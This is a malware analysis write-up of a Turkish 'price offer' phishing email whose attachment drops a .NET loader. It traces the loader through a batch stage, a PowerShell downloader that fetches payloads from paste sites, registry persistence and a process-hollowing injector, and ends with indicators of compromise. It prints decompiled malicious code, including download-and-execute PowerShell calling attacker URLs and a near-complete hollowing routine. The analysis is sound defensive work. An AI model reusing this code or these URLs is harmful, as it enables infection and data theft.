Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

FIYAT TEKLIFI

On April 13 2026, 10:37 UTC, I received an email with the following details:

FromSubjectSender addressSender IP
Abm Ship Supply <abm@abmshipsupply.com>FIYAT TEKLIFIabm@abmshipsupply.com158.94.208.218

The subject is in Turkish and translates to “PRICE OFFER”.

The sender domain has not configured DMARC or DKIM and the SPF check failed, which indicates that the email was likely spoofed. The website belongs to “ABM Ship Supply”, a Turkish marine supply provider, and the sender address is listed in their contacts.

The email contains the following attachment:

NameTypeMagicSHA256
Abm 2026 H1 G�ncel Fiyat Listesi .r07RARRAR archive data, v50b05ceeae3be9bb1b83bb079e4a5842132f472d24ebdd4fa8daeb8b31b65a615

Analysis

.NET Initial Dropper

Extracting the attached RAR archive yields the 32-bit .NET executable “Abm 2026 H1 Güncel Fiyat Listesi .exe” with the following metadata:

  • File Description: Stub
  • File Version: 1.0.0.0
  • Internal Name: stub.exe
  • Legal Copyright: Copyright © 2025
  • Original File Name: stub.exe
  • Product Name: Stub
  • Product Version: 1.0.0.0
  • Assembly Version: 1.0.0.0

I decompiled the executable with ILSpy and identified the assembly name “GeneratedExe” and entry point Program.Main.

The entry point contains junk code which filters, transforms, and prints a hardcoded list of numbers. I’ve omitted this code as its only purpose is to obfuscate the malware’s functionality in an attempt to hinder static code analysis.

Alongside the junk code, it initializes an array of 13650 bytes which it writes to a “.bat” file in a temporary folder with a randomly-generated UUID as the filename. The file is executed through “cmd.exe” on a hidden window with all output captured and discarded. The program waits for the process execution to finish and deletes the file it created to hide its tracks.

byte[] bytes = new byte[13650] {
    // ...
};
// junk code
string text = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".bat");
try {
    File.WriteAllBytes(text, bytes);
    ProcessStartInfo processStartInfo = new ProcessStartInfo();
    processStartInfo.FileName = "cmd.exe";
    processStartInfo.Arguments = "/C \"" + text + "\"";
    processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
    processStartInfo.CreateNoWindow = true;
    processStartInfo.UseShellExecute = false;
    processStartInfo.RedirectStandardOutput = true;
    processStartInfo.RedirectStandardError = true;
    ProcessStartInfo startInfo = processStartInfo;
    // junk code
    using (Process process = Process.Start(startInfo)) {
        string text2 = process.StandardOutput.ReadToEnd();
        string text3 = process.StandardError.ReadToEnd();
        process.WaitForExit();
    }
    // junk code
}
finally {
    try {
        File.Delete(text);
    } catch { }
}
// junk code

Batch File Loader

Since the byte array is not obfuscated in any way, it can be decoded with a single operation.

From_Decimal('Comma',false)

The batch file starts with a “fake complex header”. The code fakes a system checker utility and pings the loopback address a few times while printing messages with random numbers. Like the junk code of the first stage, this code is purely a distraction. In fact, it is skipped entirely and never executes.

@echo off
:: ===============================
:: FAKE COMPLEX HEADER - DO NOT RUN
:: ===============================

goto :fakeComplexCodeEnd

:fakeComplexCode
title Ultimate System Checker 9000
:: omitted
:endFakeComplexCode

:fakeComplexCodeEnd
:: ===============================
:: END OF FAKE COMPLEX HEADER
:: =

After the header, begins a series of GOTO statements and labels. Most of the labels contain a single SET statement each of which defines a variable containing a portion of a command.

GOTO ODIONSOGIF
:: ...
:ODIONSOGIF
SET NDJDNONFNH=%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -Command "S
GOTO DIUJIOGNDS
:: ...
:IGJSIDHDDD0

The execution of the command which is pieced together using these variables can be identified with a little Python code. The code reads the file and looks for a line which follows a label, does not start with “SET”, and is not blank.

from pathlib import Path
import re

text = Path("URT.bat").read_text()
execution = re.search(r"^:[A-Z0-9]+\n(?!SET|\s*$)(.+)$", text, re.M)[1]

After identifying this line, the variables in it can be expanded by looking for the SET statements, mapping the variable names to their values, and substituting them accordingly.

variables = dict(re.findall(r"^SET (\w+)=(.*)$", text, re.M))
command = re.sub(r"%(\w+)%", lambda m: variables[m[1]], execution)

The resulting command calls PowerShell and does two things:

  • It launches a new hidden PowerShell process to execute a base64-encoded command.
  • It copies the calling script file to “C:\ProgramData\URT.bat”, ignoring errors.
%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''...'';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'";  Copy-Item -Path '%~f0' -Destination 'C:\ProgramData\URT.bat' -Force -ErrorAction SilentlyContinue"

PowerShell Downloader

The base64-encoded PowerShell command is obfuscated by replacing “r” with “f#” and stored in the “$ddsdfgo” variable and can be deobfuscated and decoded with a little more Python.

from base64 import b64decode

encoded = re.search(r"\$ddsdfgo = ''([A-Za-z0-9+/=#]+)''", command)[1]
result = b64decode(encoded.replace("f#", "r")).decode("utf-16le")

The PowerShell code begins with a 3 second sleep, likely waiting for the batch file to be copied. Then, it defines the DownloadDataFromLinks which iterates over an array of links in random order and returns the first result that was downloaded successfully. The array contains the following links:

  • https://hasteb.in/ii5PfCz83aTcDgK
  • https://pastefy.app/eKkAgMVM/raw
Start-Sleep -Seconds 3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
function DownloadDataFromLinks { param ([string[]]$links)
  $webClient = New-Object System.Net.WebClient;
  $shuffledLinks = Get-Random -InputObject $links -Count $links.Length;
  foreach ($link in $shuffledLinks) {
    try { return $webClient.DownloadData($link) } catch { continue }
  };
  return $null
};
$Bytes = 'http';
$Bytes2 = 's://';
$lfsdfsdg =  $Bytes +$Bytes2;
$links = @(($lfsdfsdg + 'hasteb.in/ii5PfCz83aTcDgK'),($lfsdfsdg + 'pastefy.app/eKkAgMVM/raw'));
$imageBytes = DownloadDataFromLinks $links;

If the download was successful, the script searches for “<<START>>” and “<<END>>” markers within the data, a technique commonly seen in malware using steganography for obfuscation. Though no actual steganography is involved in this case, as the downloaded file contains only base64-encoded data surrounded by the aforementioned markers. The content between the markers is base64-decoded and loaded into memory as a .NET assembly. Then, the type “myprogram.Homees” is loaded from the assembly, in between two Get-Process calls (more junk code). Finally, the “runss” method of the type is invoked using the following parameters:

  • “txt.daordop/pw4a9a/piv.lenapym//:s”
  • “1”
  • “URT”
  • “RegAsm”
  • “0”
  • “x86”
if ($imageBytes -ne $null) {
  $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
  $startFlag = '<<START>>';
  $endFlag = '<<END>>';
  $startIndex = $imageText.IndexOf($startFlag);
  $endIndex = $imageText.IndexOf($endFlag);
  if ($startIndex -ge 0 -and $endIndex -gt $startIndex) {
    $startIndex += $startFlag.Length;
    $base64Lengthh = $endIndex - $startIndex;
    $base64Command = $imageText.Substring($startIndex, $base64Lengthh);
    $endIndex = $imageText.IndexOf($endFlag);
    $commandBytes = [System.Convert]::FromBase64String($base64Command);
    $endIndex = $imageText.IndexOf($endFlag);
    $endIndex = $imageText.IndexOf($endFlag);
    $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
    Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU
    $type = $loadedAssembly.GetType('myprogram.Homees');
    Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU
    $injec = 'Reg' + 'Asm';
    $gg = 'txt.daordop/pw4a9a/piv.lenapym//:sgsffsf' ; $gg = $gg.Substring(0, $gg.Length - 6)
    $method = $type.GetMethod('runs' + 's').Invoke($null, [object[]] ($gg ,'1', 'URT', $injec, '0' , 'x86'))
  }
}

.NET Process Injector

The base64-encoded data between the markers can be decoded with the following recipe:

Regular_expression('User defined','<<START>>([A-Za-z0-9+/=]+)<<END>>',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',false,false)

The result is a 64-bit .NET executable with the following metadata:

  • Comments: progrfam
  • Company Name: profgram
  • File Description: Myrpfgoram
  • File Version: 2.0.0.12
  • Internal Name: myprogram.exe
  • Legal Copyright: Copyright © 2027
  • Original File Name: myprogram.exe
  • Product Name: program
  • Product Version: 2.0.0.12
  • Assembly Version: 2.0.4.12

According to Detect-It-Easy, the assembly is obfuscated by “Smart Assembly” so I used de4dotEx to deobfuscate it before decompiling it with ILSpy. The assembly name is “myprogram” and the entry point is “myprogram.sha.Main”.

The entry point initialises a Windows form with a text box and four buttons. It doesn’t load any malicious code and is meant to appear legitimate to anyone who runs the executable.

private static void Main() {
  Environment.GetFolderPath(Environment.SpecialFolder.Startup);
  Application.SetCompatibleTextRenderingDefault(defaultValue: false);
  Application.Run(new Form1());
  Application.EnableVisualStyles();
}

The actual entry point of the malware is “myprogram.Homees.runss”, which is the function loaded in memory by the PowerShell script. It is annotated with the attribute DebuggerNonUserCode which instructs the debugger not to display this function in the debugger window and to step through its code automatically. The following parameters are passed to the function by the PowerShell script:

NameValue
adress“txt.daordop/pw4a9a/piv.lenapym//:s”
enablestartup“1”
startupname“URT”
injection“RegAsm”
persistence“0”
architecture“x86”
[DebuggerNonUserCode]
public static void runss(string adress, string enablestartup, string startupname, string injection, string persistence = "0", string architecture = "x86")

Persistence

Startup persistence is established by writing a RunOnce registry value to HKEY_CURRENT_USER, falling back to Run if it fails. The folder path is set to the “Startup” folder by default, though it is subsequently set to the “CommonApplicationData” (“ProgramData”) folder in all cases.

    string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

The registry key is set to a random name through the RandomString helper function which uses the alphabet “abcdefghijklmnoFAS”.

public static Random random = new Random();


private static string RandomString(int length) {
    return new string((from s in Enumerable.Repeat("abcdefghijklmnoFAS", length)
        select s[random.Next(s.Length)]).ToArray());
}

The enablestartup parameter controls the value of the registry key. In this case, it is defined as “1” which sets the value to a “.bat” with the given startupname (currently defined as “URT”).

    if (enablestartup == "1") {
        folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
        try {
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true).SetValue(value: Path.Combine(folderPath, startupname + ".bat"), name: RandomString(10));
        } catch {
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true).SetValue(value: Path.Combine(folderPath, startupname + ".bat"), name: RandomString(10));
        }
    }

When the value of the parameter is “2”, the run key launches a “.vbs” script via “wscript.exe”. Unless the process is running from “System32” or “SysWOW64”, it also kills the process injection candidates “RegAsm.exe”, “Vbc.exe”, and “MsBuild.exe”, sleeps two seconds, and self-replicates by copying the most recently created “.vbs” file into the folder path.

    if (enablestartup == "2") {
        folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
        try {
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".vbs") + "\"", name: RandomString(10));
        } catch {
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".vbs") + "\"", name: RandomString(10));
        }
        string currentDirectory = Environment.CurrentDirectory;
        if (!currentDirectory.StartsWith("C:\\Windows\\System32", StringComparison.OrdinalIgnoreCase) && !currentDirectory.StartsWith("C:\\Windows\\SysWOW64", StringComparison.OrdinalIgnoreCase)) {
            RunPS("Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait");
            Thread.Sleep(2000);
            RunPS("-WindowStyle Hidden if ((Get-Location).Path -ne '" + folderPath + "') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '" + Path.Combine(folderPath, startupname + ".vbs") + "' -Force }");
        }
    }

PowerShell is spawned through the RunPS helper function which is also annotated with the DebuggerNonUserCode attribute. It launches a hidden PowerShell window and suppresses errors.

[DebuggerNonUserCode]
public static void RunPS(string args)
{
    try {
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
        processStartInfo.FileName = "powershell.exe";
        processStartInfo.Arguments = args;
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        Process process = new Process();
        process.StartInfo = processStartInfo;
        process.Start();
    } catch { }
}

When the value of the parameter is “3”, the run key launches a “.js” script via “wscript.exe“. It also unconditionally kills the process injection candidates “RegAsm.exe”, “Vbc.exe”, and “MsBuild.exe” and sleeps for two seconds.

    if (enablestartup == "3") {
        folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
        try {
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".js") + "\"", name: RandomString(10));
        } catch {
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".js") + "\"", name: RandomString(10));
        }
        RunPS("Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait");
        Thread.Sleep(2000);
    }

Finally, if persistence is defined as “1” and enablestartup is not “0”, the function writes a batch file named “wrfdse.bat” to the temporary folder and executes it. The script loops up to 1000 times, sleeping for a minute between iterations, and restarts the “.vbs” startup script if the injected process is not currently running. Note that this script won’t work when enablestartup is defined as “1” or “3”, despite passing the condition, since it expects a “.vbs” file.

    if (persistence == "1" && enablestartup != "0") {
        string text2 = Path.GetTempPath() + "wrfdse.bat";
        using (StreamWriter streamWriter = new StreamWriter(text2)) {
            streamWriter.WriteLine("set count=0");
            streamWriter.WriteLine(":loop");
            streamWriter.WriteLine("set /a count=%count%+1");
            streamWriter.WriteLine("timeout 60 ");
            streamWriter.WriteLine("tasklist /fi \"ImageName eq " + injection + ".exe\" /fo csv 2>NUL | find /I \"" + injection + ".exe\">NUL");
            streamWriter.WriteLine("if \"%ERRORLEVEL%\"==\"1\" cscript \"" + Path.Combine(folderPath, startupname) + ".vbs\"");
            streamWriter.WriteLine("if %count% neq 1000 goto loop");
        }
        Process process = new Process();
        process.StartInfo.FileName = text2;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.ErrorDialog = true;
        process.Start();
    }

Process Injection

After setting up the startup run key and before the injection persistence script, the “runss” function downloads a payload from the URL defined by adress. The parameter value is appended with “ptth” and reversed, resulting here into the URL “https://mypanel.vip/a9a4wp/podroad.txt”. The text is reversed and base64-decoded, after replacing any instances of “DTre” and “DgTre” with “/d” and “+” respectively. The resulting payload is passed to the MemoryMapper.Map32 function if the architecture parameter is defined as “x86”, or to MemoryMapper.Map64 otherwise.

    WebClient webClient = new WebClient();
    webClient.Encoding = Encoding.UTF8;
    adress += "ptth";
    adress = string.Concat(adress.Reverse());
    string text = string.Concat(webClient.DownloadString(adress).Reverse());
    byte[] payload = (text.Contains("DTre") ? Convert.FromBase64String(text.Replace("DTre", "/d")) : (text.Contains("DgTre") ? Convert.FromBase64String(text.Replace("DgTre", "+")) : Convert.FromBase64String(text.Replace("DgTre", "+"))));
    if (!(architecture == "x86")) {
        MemoryMapper.Map64(payload, injection, "");
    } else {
        MemoryMapper.Map32(payload, injection, "0");
    }

The MemoryMapper class declares native Windows API structures alongside delegates for native functions often used in process injection and in particular process hollowing.

  • STARTUP_64 (64-bit STARTUPINFOA)
  • PROCESS_64 (64-bit PROCESS_INFORMATION)
  • STARTUP_32 (32-bit STARTUPINFOA)
  • PROCESS_32 (32-bit PROCESS_INFORMATION)
private delegate bool _CreateProcessA(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUP_64 lpStartupInfo, out PROCESS_64 lpProcessInformation);

private delegate IntPtr _VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

private delegate bool _WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);

private delegate bool _VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

private delegate bool _ZwUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

private delegate bool _GetThreadContext(IntPtr hThread, IntPtr lpContext);

private delegate bool _SetThreadContext(IntPtr hThread, IntPtr lpContext);

private delegate uint _ResumeThread(IntPtr hThread);

private delegate bool _CloseHandle(IntPtr hObject);

private delegate bool _CreateProcessA32(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUP_32 lpStartupInfo, ref PROCESS_32 lpProcessInformation);

private delegate int _VirtualAllocEx32(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect);

private delegate bool _WriteProcessMemory32(IntPtr hProcess, int lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);

private delegate bool _ReadProcessMemory32(IntPtr hProcess, int lpBaseAddress, ref int lpBuffer, int nSize, ref int lpNumberOfBytesRead);

private delegate int _ZwUnmapViewOfSection32(IntPtr hProcess, int lpBaseAddress);

private delegate bool _GetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate bool _Wow64GetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate bool _SetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate bool _Wow64SetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate int _ResumeThread32(IntPtr hThread);

Next, it defines an array containing two hex-encoded library names which are decoded using the HexDecode helper function and correspond to “kernel32” and “ntdll”.

private static readonly string[] _libNames = new string[2] {
    HexDecode("6b65726e656c3332"),
    HexDecode("6e74646c6c")
};

private static string HexDecode(string hex) {
    byte[] array = new byte[hex.Length / 2];
    for (int i = 0; i < array.Length; i++) {
        array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
    }
    return Encoding.UTF8.GetString(array);
}

Then, it imports the LoadLibraryA and GetProcAddress functions from “kernel32”. These are used by the generic GetProc function to retrieve the pointers of delegated functions and load them using the Marshal.GetDelegateForFunctionPointer method of the .NET framework.

[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, [MarshalAs(UnmanagedType.LPStr)] string lpProcName);

private static T GetProc<T>(string library, string function) where T : notnull, Delegate {
    IntPtr intPtr = LoadLibraryA(library);
    if (!(intPtr == IntPtr.Zero)) {
        IntPtr procAddress = GetProcAddress(intPtr, function);
        if (procAddress == IntPtr.Zero) {
            throw new Win32Exception();
        }
        return Marshal.GetDelegateForFunctionPointer<T>(procAddress);
    }
    throw new Win32Exception();
}

For brevity, I will only analyse the Map32 function and skip the similar Map64 function. The Map32 function implements the 32-bit process hollowing logic. It attempts the injection up to a certain number of times (55 by default), sleeping for 50 milliseconds on each failure.

public static void Map32(byte[] payload, string host, string args = null, int maxTries = 55) {
    for (int i = 0; i < maxTries; i++) {
        try {
            // see below
        } catch {
            if (i == maxTries - 1) {
                throw;
            }
            Thread.Sleep(50);
        }
    }
}

It loads the native Windows API functions needed for 32-bit process hollowing from their delegates, builds the target application path from the given host parameter, corresponding to a .NET framework host binary in “C:\Windows\Microsoft.NET\Framework\v4.0.30319”, and initialises the STARTUPINFOA AND PROCESS_INFORMATION structures.

_CreateProcessA32 proc = GetProc<_CreateProcessA32>(_libNames[0], "CreateProcessA");
_VirtualAllocEx32 proc2 = GetProc<_VirtualAllocEx32>(_libNames[0], "VirtualAllocEx");
_WriteProcessMemory32 proc3 = GetProc<_WriteProcessMemory32>(_libNames[0], "WriteProcessMemory");
_ReadProcessMemory32 proc4 = GetProc<_ReadProcessMemory32>(_libNames[0], "ReadProcessMemory");
_ZwUnmapViewOfSection32 proc5 = GetProc<_ZwUnmapViewOfSection32>(_libNames[1], "ZwUnmapViewOfSection");
_GetThreadContext32 proc6 = GetProc<_GetThreadContext32>(_libNames[0], "GetThreadContext");
_Wow64GetThreadContext32 proc7 = GetProc<_Wow64GetThreadContext32>(_libNames[0], "Wow64GetThreadContext");
_SetThreadContext32 proc8 = GetProc<_SetThreadContext32>(_libNames[0], "SetThreadContext");
_Wow64SetThreadContext32 proc9 = GetProc<_Wow64SetThreadContext32>(_libNames[0], "Wow64SetThreadContext");
_ResumeThread32 proc10 = GetProc<_ResumeThread32>(_libNames[0], "ResumeThread");
string lpApplicationName = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" + host + ".exe";
STARTUP_32 lpStartupInfo = new STARTUP_32 {
    cb = (uint)Marshal.SizeOf<STARTUP_32>()
};
PROCESS_32 lpProcessInformation = default(PROCESS_32);

Then, it creates the target host process using CreateProcessA, throwing an error if the process creation failed. If the process was created successfully but the process hollowing part failed, the process is killed via “taskkill”. The process is created with the flag 2147483652u, i.e. 0x00000004 | 0x80000000. The value 0x00000004 corresponds to CREATE_SUSPENDED but 0x80000000 does not correspond to any flag or combination of flags, so only CREATE_SUSPENDED is applied. The unknown value is most likely a typo for 0x08000000 which corresponds to CREATE_NO_WINDOW1.

  • CREATE_SUSPENDED: The main thread of the process is created in a suspended state.
  • CREATE_NO_WINDOW: The process is a console application that runs without a window.
if (proc(lpApplicationName, string.Empty, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 2147483652u, IntPtr.Zero, null, ref lpStartupInfo, ref lpProcessInformation)) {
    try {
        // see below
    } catch {
        try {
            Process.Start(new ProcessStartInfo {
                FileName = "taskkill",
                Arguments = $"/PID {lpProcessInformation.dwProcessId} /F",
                CreateNoWindow = true,
                UseShellExecute = false
            })?.WaitForExit();
        } catch { }
        throw;
    }
}
throw new Exception("CreateProcess failed");

Next, it extracts an integer from the payload at offset 60 (e_lfanew)2, which points to the start of the PE header in the PE file format and reads another integer from the PE header at offset 80, which corresponds to SizeOfImage3, the total size the image occupies in memory once loaded. Note that normally the offset used here would be 52 which corresponds to ImageBase, the preferred base address of the image when loaded in memory. It then initializes an integer array of size 179 (716 bytes), matching the size of an x86 CONTEXT4 or WOW64_CONTEXT5 structure. The first element is set to 65563 which, in an x86 thread context, corresponds to CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS6, retrieving control registers, integer registers, floating-point state, and debug registers. The thread context is stored in the array using Wow64GetThreadContext when running on a 64-bit system, or GetThreadContext on a 32-bit system (where the integer size is 4 bytes).

int num = BitConverter.ToInt32(payload, 60);
int num2 = BitConverter.ToInt32(payload, num + 80);
int[] array = new int[179];
array[0] = 65563;
if (!((IntPtr.Size != 4) ? proc7(lpProcessInformation.hThread, array) : proc6(lpProcessInformation.hThread, array))) {
    throw new Exception("GetThreadContext failed");
}

Then, it retrieves the element at index 41 from the array, which corresponds to the Ebx field of the context structure when it is marshalled into an integer array. The EBX register points to the Process Environment Block (PEB) structure. The ReadProcessMemory function is used to extract an integer at offset 8 (ImageBaseAddress7) of the PEB from the memory of the suspended process. Next, if this address matches the SizeOfImage that was retrieved earlier, it calls the ZwUnmapViewOfSection function unmap the original image. Note that this check should be using ImageBase rather than SizeOfImage and may leave the original image still mapped in memory.

int num3 = array[41];
int lpBuffer = 0;
int lpNumberOfBytesRead = 0;
if (!proc4(lpProcessInformation.hProcess, num3 + 8, ref lpBuffer, 4, ref lpNumberOfBytesRead)) {
    throw new Exception("ReadProcessMemory failed");
}
if (num2 == lpBuffer && proc5(lpProcessInformation.hProcess, lpBuffer) != 0) {
    throw new Exception("ZwUnmapViewOfSection failed");
}

Next, it extracts the integer SizeOfHeaders from offset 84 of the optional header, the total size of all file headers rounded up to account for file alignment. It uses the VirtualAllocEx function to allocate memory of size SizeOfImage in the target process at the address of SizeOfImage (which normally would have been ImageBase), with allocation flag 12288 which corresponds to MEM_COMMIT | MEM_RESERVE8, thus committing and reserving memory pages in one step, and protection flag 64 which corresponds to PAGE_EXECUTE_READWRITE9 and enables read, write, and execute permissions in the memory region. Also, it uses the WriteProcessMemory function to write bytes of size SizeOfHeaders (i.e., the PE headers) from the payload into the allocated memory region.

int nSize = BitConverter.ToInt32(payload, num + 84);
int num4 = proc2(lpProcessInformation.hProcess, num2, num2, 12288, 64);
if (num4 == 0) {
    throw new Exception("VirtualAllocEx failed");
}
int lpNumberOfBytesWritten = 0;
if (!proc3(lpProcessInformation.hProcess, num4, payload, nSize, ref lpNumberOfBytesWritten)) {
    throw new Exception("WriteProcessMemory (headers) failed");
}

Then, it locates the first section header at offset 248 of the PE header and reads the total number of sections from offset 6 of the PE header. It loops over each section of 40 bytes, reading the following section fields10:

  • VirtualAddress (offset 12): The memory address of the first byte relative to the image base.
  • SizeOfRawData (offset 16): The total size of the raw data in bytes.
  • PointerToRawData (offset 20): The byte offset to the start of the raw data.

If the section is not empty, its data is copied from the payload and written into the allocated memory of the target process at its corresponding virtual address using the WriteProcessMemory function. After the section loop ends, the WriteProcessMemory function is called once more to overwrite the PEB of the target process so its ImageBaseAddress reflects the new image address.

int num5 = num + 248;
short num6 = BitConverter.ToInt16(payload, num + 6);
for (int j = 0; j < num6; j++) {
    int num7 = num5 + j * 40;
    int num8 = BitConverter.ToInt32(payload, num7 + 12);
    int num9 = BitConverter.ToInt32(payload, num7 + 16);
    int sourceIndex = BitConverter.ToInt32(payload, num7 + 20);
    if (num9 > 0) {
        byte[] array2 = new byte[num9];
        Array.Copy(payload, sourceIndex, array2, 0, num9);
        if (!proc3(lpProcessInformation.hProcess, num4 + num8, array2, num9, ref lpNumberOfBytesWritten)) {
            throw new Exception($"WriteProcessMemory (section {j}) failed");
        }
    }
}
if (!proc3(lpBuffer: BitConverter.GetBytes(num4), hProcess: lpProcessInformation.hProcess, lpBaseAddress: num3 + 8, nSize: 4, lpNumberOfBytesWritten: ref lpNumberOfBytesWritten)) {
    throw new Exception("WriteProcessMemory (PEB) failed");
}

Next, it sets the element at index 44 of the array, which corresponds to the Eax field (Extended Accumulator register) of the marshalled context structure, to the address of the entry point (AddressOfEntryPoint at offset 40 of the PE header) within the memory region allocated earlier by VirtualAllocEx. Depending on the target system, it calls Wow64SetThreadContext or SetThreadContext to commit the updated context to the suspended thread. Finally, it calls ResumeThread to wake the suspended thread, which will now begin execution at the injected payload’s entry point. If the call succeeds it exits the loop, otherwise it throws an exception.

array[44] = num4 + BitConverter.ToInt32(payload, num + 40);
if (!((IntPtr.Size != 4) ? proc9(lpProcessInformation.hThread, array) : proc8(lpProcessInformation.hThread, array))) {
    throw new Exception("SetThreadContext failed");
}
if (proc10(lpProcessInformation.hThread) != -1) {
    break;
}
throw new Exception("ResumeThread failed");

Unidentified Final Stage

Unfortunately, I cannot analyse the final stage since the file was taken down shortly after I received the email, as indicated by the takedown times of two similar URLs reported on URLhaus. Both URLs are tagged as “Phantom Stealer” so in all likelihood the sample I received is also of the same family.

Indicators of Compromise

TypeValueLinksComment
Emailabm@abmshipsupply.comN/ASender address
Domainabmshipsupply.comMXToolBox
VirusTotal
Sender domain
IP158.94.208.218AbuseIPDBSender IP
Hash0b05ceeae3be9bb1b83bb079e4a5842132f472d24ebdd4fa8daeb8b31b65a615VirusTotal
ANY.RUN
Abm 2026 H1 G�ncel Fiyat Listesi .r07
Hashcd7219d7aa99db6647c5519d24e8cdd35e67e39e1f2e55f1099130593dee66f4VirusTotalAbm 2026 H1 Güncel Fiyat Listesi .exe
Hash42753d1bc479c0f14d8f98ca77a5b15a98ca95b4750184c0525e7ff8ee866dc9VirusTotalURT.bat
Hash73ffb8eaeeeefa545096ae9d2080afb440868e8a1b83c1842dc0419ba0918fefVirusTotalPowerShell Downloader
Hash99446a0be47d814a344b5c88c5559d59a63d0ba4ce249ae7797b0c45482d3267VirusTotal
Triage
myprogram.exe
URLhttps://hasteb.in/ii5PfCz83aTcDgKVirusTotalStage 4 Download
URLhttps://pastefy.app/eKkAgMVM/rawVirusTotalStage 4 Download
URLhttps://mypanel.vip/a9a4wp/podroad.txtVirusTotalStage 5 Download

MITRE ATT&CK® Techniques


  1. Process Creation Flags (WinBase.h) - Win32 apps | Microsoft Learn

  2. Sunshine’s Homepage - PE file format

  3. IMAGE_OPTIONAL_HEADER32 (winnt.h) - Win32 apps | Microsoft Learn

  4. CONTEXT (x86 32-bit) - Win32 apps | Microsoft Learn

  5. WOW64_CONTEXT (winnt.h) - Win32 apps | Microsoft Learn

  6. pinvoke.net: GetThreadContext (kernel32)

  7. PEB/TEB/TIB Structure Offsets | Travis Mathison

  8. VirtualAllocEx function (memoryapi.h) - Win32 apps | Microsoft Learn

  9. Memory Protection Constants (WinNT.h) - Win32 apps | Microsoft Learn

  10. IMAGE_SECTION_HEADER (winnt.h) - Win32 apps | Microsoft Learn